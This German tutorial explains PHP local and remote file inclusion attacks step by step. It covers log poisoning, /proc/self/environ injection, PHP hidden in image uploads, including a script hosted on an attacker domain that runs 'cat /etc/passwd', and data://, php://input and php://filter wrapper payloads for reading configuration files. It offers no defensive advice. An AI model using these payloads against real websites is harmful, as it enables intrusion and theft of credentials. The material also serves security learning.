File Inclusion Angriffe in PHP
Bei File Inclusion Attacken geht es darum, PHP-Code in ein vorhandenes Skript einzuschleusen. Das kann ein Skript auf dem lokalen oder auf einem entfernten server sein.
Local File Inclusion
Zum einen ist es möglich lokale Dateien wie die "/etc/passwd" oder eine .htpasswd Datei anzuzeigen und so Informationen über das System zu erlangen und eventuell in in einen passwortgeschützten Bereich der Webseite einzudringen.
Zum anderen gibt es Dateien auf deren Inhalt ein Angreifer direkten Einfluss hat wie zum Beispiel Logfiles. Einige Webseitenwie zum Beispiel Singlebörsen bieten eine Funktion an, die es erlaubt Bilder hochzuladen.Der erfolgreiche Angriff hängt stark von der Konfiguration des Servers und den vorhanden Funktionen einer Webseite ab. Indiesem Text werden die Grundtechniken erklärt. Es gibt aber noch viel mehr individuelle Möglichkeiten die von dem jeweiligenFunktionsumfang der Webseite abhängen.
Beispiel 1 Log File Poisoning:
Wir haben diesen PHP-Code in der index.php:
include("/home/www/"."$site")
Das Verzeichnis wird vorgegeben und wir können keinen PHP-Code von einem externen System in das Skript einschleusen.
Nehmen wir jetzt einmal an wir haben Leserechte auf den Logfiles des Webservers. In diesem Fall "/var/log/apache/access.log". Alles was auf dem Webserver aufgerufen wurde, wird in der access.log protokolliert. So ist es möglich einen PHP-Code in das Logfile zu schreiben.
Dazu öffnen wir die Kommandozeile und geben folgendes ein:
telnet www.example.com 80
Port 80 ist der Standardport des Webservers, er wird angegeben damit der Telnet-Client weis an welchen Port er die Daten senden soll.
Wenn wir das gemacht haben erscheint folgende Ausgabe:
--------------------------------------------------------------------- Trying www.example.com... Connected to www.example.com (192.8.14.30). Escape character is '^]'
Danach geben wir folgendes ein:
GET <? phpinfo(); ?> HTTP/1.1
und drücken 2mal die Enter-Taste.
Die Fehlermeldung die danach erscheint können wir ignorieren.
In den Logfiles wurde jetzt ein Eintrag hinterlassen, der den PHP-Code beinhaltet.
Das sieht so aus:
192.168.2.11 - - [11/Jan/2015:19:50:40 +0200] "GET <? phpinfo(); ?> HTTP/1.1" 200 1724
Ein Webbrowser eignet sich für das übermitteln des PHP-Codes nicht, weil er alle Leerzeichen durch das Hexadezimal-Zeichen "%20" ersetzt. Jetzt müssen wir den PHP-Code nur noch über die index.php ausführen. Das machen wir so:
http://www.example.com/index.php?site=../../var/apache/access.log
Wenn man jetzt das Logfile angezeigt bekommt sieht man als erstes zahlreiche protokollierte Seitenaufrufe und an der Stelle unseres Logeintrag sieht man die Ausgabe von der Funktion "phpinfo()". Das funktioniert auch mit den Logfiles der anderen installierten Server auf dem System, wenn man die Leserechte dazu hat. Der Name und Standort des Logfiles ist je nach Konfiguration und Software unterschiedlich.
Beispiel 2 /proc/self/environ:
Diese Datei gibt es nur unter Linuxsystemen. Sie enthält verschiedene Informationen über die Besucher der Webseite wie beispielweise die aufgerufene URL und den verwendeten Browser und mit Hilfe des Browsers Firefox und dem Plugin "User Agent Swicher" können wir unseren PHP-Code einschleusen.
Mit "User Agent Swicher" erstellen wir einen neuen Browsernamen mit dem Namen "<? phpinfo(); ?>" und wählen diesen aus.
Dann geben wir diese URL ein:
http://www.example.com/index.php?site=../../proc/self/environ
Jetzt sehen wir die Ausgabe von "phpinfo()".
Beispiel 3 PHP-Code mit Hilfe eines Bild-Uploads:
Einige Webseiten insbesondere Singlebörsen und Foren haben eine Bild-Upload-Funktion um es Benutzern zu ermöglichen ein Bild von sich auf die Webseite zu laden. Wenn es dann noch die Möglichkeit einer Local File Inclusion gibt, können wir beliebigen PHP-Code ausführen. Angenommen es wird mit Hilfe eines PHP-Skriptes ein Bild mit dem Namen "bild.jpg" in das Verzeichnis "pics" auf den Webserver hochgeladen.
Das Bild wird vor dem Hochladen manipuliert.
So gut wie jedes handelsübliche Bildbearbeitungsprogramm besitzt die Funktion zu dem Bild einen Kommentar hinzuzufügen. In diesen Kommentar können wir unseren PHP-Code aus dem vorhergehenden Beispiel einfügen.
Wenn das Bild auf den Webserver hochgeladen wurde rufen wir diese URL auf:
http://www.example.com/index.php?site=pics/bild.jpg
Neben einigen kryptischen Zeichen sehen wir die Ausgabe des PHP-Codes.
Remote File Inclusion
Remote File Inclusion Sicherheitslücken entstehen, wenn über einen PHP-Befehl, Dateien über include(), include_once(), require() oder require_once() eingebunden und die Parameter nicht ausreichend geprüft werden. Wenn zusätzlich in der php.ini die Funktionen allow_url_fopen und allow_url_include aktiviert sind, stehen dem Angreifer im Grunde keine Hindernisse mehr im Weg.
Erstes Beispiel hierzu:
In der index.php ist folgendes eingetragen:
include("$seiten")
Anhand diesem Beispiel ist es recht einfach einen schadhaften PHP-Code einzuschleusen. Auf einem externen System (eigener Webspace) wird eine Datei erstellt, z.B. xy.txt, die mit folgendem Inhalt gespeichert wird:
<? system("cat /etc/passwd"); ?>
Nun binden wir die xy.txt Datei in die verwundbare index.php ein:
http://www.example.com/index.php?seiten=http://angreifer.com/xy.txt
Ausgegeben wird in diesem Fall der Inhalt von '/etc/passwd' Dies ist natürlich nur ein kleines Beispiel, welcher Code eingebunden werden kann. Einem Angreifer sind in der Kreativität keine Grenzen gesetzt.
Bei unserem zweiten Beispiel, ist etwas mehr Aufwand nötig:
include("$seiten".".html")
In diesem Fall muss die Datei die Endung ".html" haben damit sie vom Skript eingebunden werden kann. Diese Datei wird wie bei Beispiel 1 auf ein externes System geladen und bekommt hierzu wieder einen eigenen Namen - xy.html
Das Script wird nun mit folgender URL eingebunden:
http://example.com/index.php?seiten=http://angreifer.com/xy
Die Dateiendung ".html" geben wir bewusst nicht ein, weil das verwundbare Skript das in diesem Fall erledigt.
Anstatt "http://" kann man "https://" benutzen. Man kann auch einen FTP-Server mit "user:passwort@ftp://" dafür benutzen.
Angriffe über PHP-Wrapper
Eine andere Variante sind die PHP-Wrapper.
Beispiel 1:
http://example.com/index.php?seite=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
Hier wurde "<? phpinfo(); ?>" in Base64 kodiert und an das Skript übergeben.
Es funktioniert aber auch ohne Codierung:
http://example.com/index.php?seite=data://text/plain,<? phpinfo(); ?>
Beispiel 2:
Zuerst geben wir in der URL folgendes ein:
http://example.com/index.php?seite=php://input
Dann öffnen wir Live HTTP Headers und klicken auf "Wiederholen". Beim Postinhalt geben wir unseren PHP-Code ein und klicken auf senden.
Beispiel 3:
In einigen Fällen ist es ganz nützlich wenn man keinen Code ausführt, sondern einfach nur den Source einer PHP-Datei amzeigt.
http://example.com/index.php?seite=php://filter/convert.base64-encode/resource=phpmyadmin/config.inc.php
Die Ausgabe wird in Base64 codiert und mit einem beliebigen Tool kann man den Inhalt dekodieren.